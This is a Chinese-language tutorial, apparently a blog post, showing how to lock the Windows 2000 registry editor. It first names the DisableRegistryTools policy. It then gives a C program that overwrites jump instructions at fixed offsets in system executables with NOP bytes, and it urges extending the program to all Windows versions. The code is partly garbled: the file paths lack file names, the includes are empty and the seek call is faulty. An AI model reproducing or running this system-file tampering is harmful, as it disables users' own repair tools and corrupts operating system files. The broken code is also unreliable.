你有沒有遇到註冊表被鎖定,無法打開註冊表來手工修復呢?很多人都為這個頭疼吧,相信你被鎖定一次就知道他的操作原理了:
修改[HKEY_CURRENT_USERSoftware
MicrosoftWindowsCurrent
VersionPolicIEsSystem]下的DisableRegistryTools值為1
解鎖的方法也有幾種,比如程序用API函數調用註冊表直接刪除,做一個REG文件直接導入,寫一個腳本…………
今天我就教大家寫個程序來實現另類鎖定,是不是很好奇了?跟我來。
實驗環境:Windows2000
實驗目的`:鎖定註冊表(本方法利用了Cracker的思路來實現,直接讓程序修改程序指令,使調用註冊表程序禁止。)
實現方法:C程序
首先我們要按照Cracker的思路反彙編WINNT下的和找到跳轉指令,怎麼得到這些信息不是我們今天的目的,這裏我就不詳細介紹了,以下是我反彙編找到的跳轉地址:
偏移地址:0x69CA 將指令:0x74 0x1A 修改成:0x90 0x90
偏移地址:0x10bf2 將指令:0x74 0x52 修改成:0x90 0x90
現在我們用程序把這2個偏移地址的指令給修改成0x90 0x90 ( 0x90代表nop,就是讓程序什麼也不做,執行下一條指令)讓我們看看程序是如何實現的吧。
#include
#include
bool scanreg(const char *file,long offset, int length,char *the);
main()
{
char the[]={ 0x90,0x90 };
scanreg("C:WINNT",0x69CA,0x02,the);
scanreg("C:WINNTServicePackFilesi386",0x69CA,0x02,the);
scanreg("C:WINNTsystem32",0x10bf2,0x02,the);
scanreg("C:WINNTServicePackFilesi386",0x10bf2,0x02,the);
}
bool scanreg(const char *file,long offset, int length,char *the)
{
FILE *fp = NULL;
bool result=false;
if((fp=fopen(file,"rb+"))!=NULL)
{
fseek(fp,offset,1);
fwrite(the,length,1,fp);
fclose(fp);
result=true;
}
return(result);
}
好了,我這裏只是一個示範,只適合2000系統,把windows每種系統的註冊表調用程序都分析一下,然後在程序開始用API函數GetVersionEx(LPOSVERSIONINFO lpVersionInfo)判斷系統,根據判斷的系統來調用相應的修改函數。那不是通殺windows了?上面把方法公佈出來,以便大家做好防範。